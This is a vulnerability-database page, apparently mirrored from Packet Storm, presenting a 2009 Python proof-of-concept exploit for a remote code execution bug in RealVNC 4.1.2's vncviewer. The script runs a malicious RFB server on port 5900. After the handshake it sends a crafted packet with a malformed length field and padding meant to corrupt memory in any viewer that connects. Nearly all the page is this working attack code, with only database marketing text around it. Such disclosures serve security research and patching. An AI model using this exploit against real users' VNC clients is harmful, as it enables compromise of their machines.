Lucene search
+L

RealVNC 4.1.2 Remote Code Execution

🗓️ 02 Feb 2009 00:00:00Reported by Andres Lopez LuksenbergType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

RealVNC 4.1.2 contains a remote code execution vulnerability allowing exploit via RFB protocol.

Code
`#!/usr/bin/env python  
# POC: RealVNC 4.1.2 'vncviewer.exe' RFB Protocol Remote Code Execution Vulnerability, BID 30499  
#Author: Andres Lopez Luksenberg <[email protected]>  
#  
import socket  
  
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
serversocket.bind(('', 5900))  
serversocket.listen(1)  
  
while True:  
clientsocket, clientaddres = serversocket.accept()  
  
data = 'RFB 003.008\n'  
clientsocket.sendall(data)  
  
data_cli = clientsocket.recv(1024)  
print data_cli  
  
data = '\x01\x01'  
clientsocket.sendall(data)  
  
data_cli = clientsocket.recv(1024)  
print repr(data_cli)  
  
data = '\x00\x00\x00\x00'  
clientsocket.sendall(data)  
  
data = '\x02\xd0\x01\x77\x08\x08\x00\x00\x00\x07\x00\x07\x00\x03\x00\x03\x06\x00\x00\x00\x00\x00\x00\x13\x4c\x69\x6e\x75\x78\x56\x4e\x43\x3a\x20\x2f\x64\x65\x76\x2f\x74\x74\x79\x32'  
  
clientsocket.sendall(data)  
  
data_cli = clientsocket.recv(1024)  
print repr(data_cli)  
  
data_cli = clientsocket.recv(1024)  
print repr(data_cli)  
  
data_cli = clientsocket.recv(1024)  
print repr(data_cli)  
  
data='\x00\x00\x00\x03\x00\x03\x00\x03\x00\x08\x00\x07'  
  
data = data + '\x00\x00\xff\xff' #bug  
  
data = data + '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe7\xe7\x7e\x3c\x7e\xe7\xe7'  
  
clientsocket.sendall(data)  
  
clientsocket.close()   
serversocket.close()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Feb 2009 00:00Current
0.3Low risk
Vulners AI Score0.3
16